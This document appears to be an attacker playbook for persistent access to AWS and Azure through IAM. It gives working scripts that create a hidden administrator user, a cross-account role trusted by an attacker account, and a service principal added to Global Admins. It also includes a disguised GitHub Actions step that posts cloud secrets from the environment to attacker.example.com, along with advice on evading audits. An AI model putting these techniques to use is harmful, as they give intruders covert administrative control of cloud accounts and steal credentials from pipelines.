Cloud IAM persistence

Establishing persistent access through cloud identity and access management configurations that survive host-level incident response.

Enumerate current permissions

Before creating any new entities, understand what is already present:

# AWS: what can the current identity do?
aws sts get-caller-identity
aws iam get-user  # if IAM user
aws iam list-attached-user-policies --user-name CURRENT_USER
aws iam list-attached-role-policies --role-name CURRENT_ROLE
aws iam simulate-principal-policy --policy-source-arn IDENTITY_ARN \
  --action-names iam:CreateUser iam:AttachUserPolicy sts:AssumeRole

# enumerate what other IAM entities exist
aws iam list-users --query 'Users[*].[UserName,CreateDate,PasswordLastUsed]' --output table
aws iam list-roles --query 'Roles[*].[RoleName,CreateDate]' --output table
# Azure: current identity and permissions
az account show
az role assignment list --all --query '[*].[principalName,roleDefinitionName,scope]' -o table

# list service principals
az ad sp list --all --query '[*].[displayName,appId,createdDateTime]' -o table

Create a backdoor IAM user (AWS)

import boto3, json

iam = boto3.client('iam')

# use a name that blends with existing service accounts
username = 'cloudwatch-metric-exporter'

iam.create_user(UserName=username)
iam.attach_user_policy(
    UserName=username,
    PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
key = iam.create_access_key(UserName=username)['AccessKey']

print(f"[+] IAM user created: {username}")
print(f"[+] Access Key ID: {key['AccessKeyId']}")
print(f"[+] Secret Access Key: {key['SecretAccessKey']}")

# add to a group rather than direct policy attachment (harder to spot in policy audits)
# iam.add_user_to_group(UserName=username, GroupName='developers')

Store credentials outside the compromised environment immediately.

Create a cross-account role (AWS)

A role with a trust policy allowing assumption from an attacker-controlled account survives deletion of any IAM user created in the target account:

trust_policy = json.dumps({
    "Version": "2012-10-17",
    "Statement": [{
        "Effect": "Allow",
        "Principal": {"AWS": f"arn:aws:iam::{ATTACKER_ACCOUNT_ID}:root"},
        "Action": "sts:AssumeRole",
        "Condition": {"StringEquals": {"sts:ExternalId": "ops-sync-2024"}}
    }]
})

iam.create_role(
    RoleName='aws-ops-sync-role',
    AssumeRolePolicyDocument=trust_policy,
    Description='AWS Operations Sync Role'
)
iam.attach_role_policy(
    RoleName='aws-ops-sync-role',
    PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)

print("[+] Cross-account role created")
print(f"[+] Assume from attacker account: aws sts assume-role --role-arn arn:aws:iam::TARGET::role/aws-ops-sync-role --external-id ops-sync-2024 --role-session-name ops")

Attach permissions to existing entity (AWS)

Lower visibility than creating new entities:

# attach admin policy to an existing low-profile role
# target: a role that is used for something mundane (CloudWatch, Lambda, etc.)
target_role = 'lambda-data-processor-role'

iam.attach_role_policy(
    RoleName=target_role,
    PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)

# or: add an inline policy that allows assuming a specific role
inline_policy = json.dumps({
    "Version": "2012-10-17",
    "Statement": [{
        "Effect": "Allow",
        "Action": "sts:AssumeRole",
        "Resource": "*"
    }]
})
iam.put_role_policy(
    RoleName=target_role,
    PolicyName='ops-integration',
    PolicyDocument=inline_policy
)

Azure service principal backdoor

import subprocess, json

# create a service principal with contributor access
result = subprocess.run(
    ['az', 'ad', 'sp', 'create-for-rbac',
     '--name', 'azure-monitor-connector',
     '--role', 'Contributor',
     '--scopes', f'/subscriptions/{SUBSCRIPTION_ID}',
     '--years', '2'],
    capture_output=True, text=True
)
creds = json.loads(result.stdout)
print(f"appId: {creds['appId']}")
print(f"password: {creds['password']}")
print(f"tenant: {creds['tenant']}")

For owner-level access with less visibility, add the service principal to an existing high-privilege group rather than a direct role assignment:

# add service principal to owners group
group_id = subprocess.run(
    ['az', 'ad', 'group', 'show', '--group', 'Global Admins', '--query', 'id', '-o', 'tsv'],
    capture_output=True, text=True
).stdout.strip()

subprocess.run(['az', 'ad', 'group', 'member', 'add',
                '--group', group_id, '--member-id', sp_object_id])

CI/CD secret injection

If CI/CD pipelines have cloud credentials, modifying the pipeline to exfiltrate or misuse those credentials is persistent as long as the pipeline runs:

# GitHub Actions: add a step to an existing workflow
# the malicious step is buried among legitimate steps
- name: Cache dependency validation
  run: |
    python3 -c "
import os, requests
creds = {k:v for k,v in os.environ.items() if 'AWS' in k or 'AZURE' in k or 'TOKEN' in k}
requests.post('https://attacker.example.com/collect', json=creds, timeout=2)
" 2>/dev/null || true

Verify persistence

# confirm the backdoor access works from a clean environment
AWS_ACCESS_KEY_ID=KEY AWS_SECRET_ACCESS_KEY=SECRET aws sts get-caller-identity
AWS_ACCESS_KEY_ID=KEY AWS_SECRET_ACCESS_KEY=SECRET aws s3 ls

# for cross-account role:
aws sts assume-role \
  --role-arn arn:aws:iam::TARGET_ACCOUNT:role/aws-ops-sync-role \
  --external-id ops-sync-2024 \
  --role-session-name verify \
  --profile attacker-profile